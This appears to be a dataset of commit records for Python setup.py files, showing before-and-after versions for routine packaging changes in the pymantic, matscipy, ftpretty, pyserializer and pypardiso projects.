import sys, os from setuptools import setup from pymantic import version setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], )
import sys, os try: import Cython except ImportError: pass from setuptools import setup from pymantic import version import setupinfo setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], #Ignoring unfinished C module #ext_modules = setupinfo.ext_modules(), #**setupinfo.extra_setup_args() ) Remove imports from stupid C module.import sys, os from setuptools import setup from pymantic import version setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], )
<commit_before>import sys, os try: import Cython except ImportError: pass from setuptools import setup from pymantic import version import setupinfo setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], #Ignoring unfinished C module #ext_modules = setupinfo.ext_modules(), #**setupinfo.extra_setup_args() ) <commit_msg>Remove imports from stupid C module.<commit_after>import sys, os from setuptools import setup from pymantic import version setup(name='pymantic', version=version, description="Semantic Web and RDF library for Python", long_description="""""", classifiers=['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Text Processing :: Markup', ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='RDF N3 Turtle Semantics Web3.0', author='Gavin Carothers, Nick Pilon', author_email='gavin@carothers.name, npilon@gmail.com', url='http://github.com/oreillymedia/pymantic', license='BSD', packages=['pymantic'], include_package_data=True, zip_safe=False, test_suite='nose.collector', install_requires=[ 'httplib2', 'lxml', 'mock_http', 'pytz', 'simplejson', 'lepl' ], entry_points=""" # -*- Entry points: -*- """, scripts = [ 'pymantic/scripts/named_graph_to_nquads', ], )
34af1fdb4f6c9c8b994cb710b97fe0ed9e1311a7
setup.py
setup.py
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy', 'matscipy.fracture_mechanics'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
Add matscipy.fracture_mechanics to packages list to install subpackage
Add matscipy.fracture_mechanics to packages list to install subpackage
Python
lgpl-2.1
libAtoms/matscipy,libAtoms/matscipy,libAtoms/matscipy,libAtoms/matscipy
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] ) Add matscipy.fracture_mechanics to packages list to install subpackage
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy', 'matscipy.fracture_mechanics'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
<commit_before>import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] ) <commit_msg>Add matscipy.fracture_mechanics to packages list to install subpackage<commit_after>
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy', 'matscipy.fracture_mechanics'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] ) Add matscipy.fracture_mechanics to packages list to install subpackageimport os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy', 'matscipy.fracture_mechanics'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
<commit_before>import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] ) <commit_msg>Add matscipy.fracture_mechanics to packages list to install subpackage<commit_after>import os import glob from numpy.distutils.core import setup, Extension version = (os.popen('git config --get remote.origin.url').read() + ',' + os.popen('git describe --always --tags --dirty').read()) scripts = [] setup(name='matscipy', version=version, description='Generic Python Materials Science tools', maintainer='James Kermode & Lars Pastewka', maintainer_email='james.kermode@gmail.com', license='LGPLv2.1+', package_dir={'matscipy': 'matscipy'}, packages=['matscipy', 'matscipy.fracture_mechanics'], scripts=scripts, ext_modules=[ Extension( '_matscipy', [ 'c/matscipymodule.c' ], ) ] )
7ef4a4df9da3d14ddb0e813720999fbaaa9d45d6
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.4' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.5' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
Bump to get everything back where it should be
Bump to get everything back where it should be
Python
mit
codebynumbers/ftpretty
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.4' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], ) Bump to get everything back where it should be
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.5' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
<commit_before>#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.4' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], ) <commit_msg>Bump to get everything back where it should be<commit_after>
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.5' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.4' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], ) Bump to get everything back where it should be#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.5' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
<commit_before>#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.4' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], ) <commit_msg>Bump to get everything back where it should be<commit_after>#!/usr/bin/env python from setuptools import setup import os __version__ = '0.1.5' def read(*paths): """Build a file path from *paths* and return the contents.""" with open(os.path.join(*paths), 'r') as f: return f.read() setup(name='ftpretty', version=__version__, description='Pretty FTP wrapper', long_description=(read('README.rst') + '\n\n' + read('HISTORY.rst') + '\n\n' + read('AUTHORS.rst')), license='MIT', author='Rob Harrigan', author_email='harrigan.rob@gmail.com', url='https://github.com/codebynumbers/ftpretty/', download_url='https://github.com/codebynumbers/ftpretty/tarball/%s' % __version__, py_modules=['ftpretty'], )
ab957908f578946fd748a28ff0a7fd1c49f53b9f
setup.py
setup.py
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.8.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.11.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
Upgrade six to the lastest
Upgrade six to the lastest
Python
mit
localmed/pyserializer,localmed/pyserializer
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.8.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], ) Upgrade six to the lastest
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.11.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
<commit_before>from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.8.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], ) <commit_msg>Upgrade six to the lastest<commit_after>
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.11.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.8.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], ) Upgrade six to the lastestfrom setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.11.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
<commit_before>from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.8.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], ) <commit_msg>Upgrade six to the lastest<commit_after>from setuptools import find_packages, setup setup( name='pyserializer', version='0.9.1', description='Simple python serialization library.', author='LocalMed', author_email='ecordell@localmed.com, pete@localmed.com, joeljames1985@gmail.com', # NOQA url='', license='MIT', packages=find_packages(exclude=['tests', 'tests.*']), include_package_data=True, install_requires=[ 'six==1.11.0' ], classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', ], )
612006dbfdf05c120467c31319a9e089c82dbb86
setup.py
setup.py
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl', 'mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
Remove mkl as direct dependency
Remove mkl as direct dependency This breaks the conda-forge build, since the pip mkl and conda mkl aren't the same packages, so `pip check` fails. mkl is a dependency of mkl-service and will still be installed with pip install.
Python
bsd-3-clause
haasad/PyPardisoProject
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl', 'mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], ) Remove mkl as direct dependency This breaks the conda-forge build, since the pip mkl and conda mkl aren't the same packages, so `pip check` fails. mkl is a dependency of mkl-service and will still be installed with pip install.
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
<commit_before>from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl', 'mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], ) <commit_msg>Remove mkl as direct dependency This breaks the conda-forge build, since the pip mkl and conda mkl aren't the same packages, so `pip check` fails. mkl is a dependency of mkl-service and will still be installed with pip install.<commit_after>
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl', 'mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], ) Remove mkl as direct dependency This breaks the conda-forge build, since the pip mkl and conda mkl aren't the same packages, so `pip check` fails. mkl is a dependency of mkl-service and will still be installed with pip install.from setuptools import setup setup( 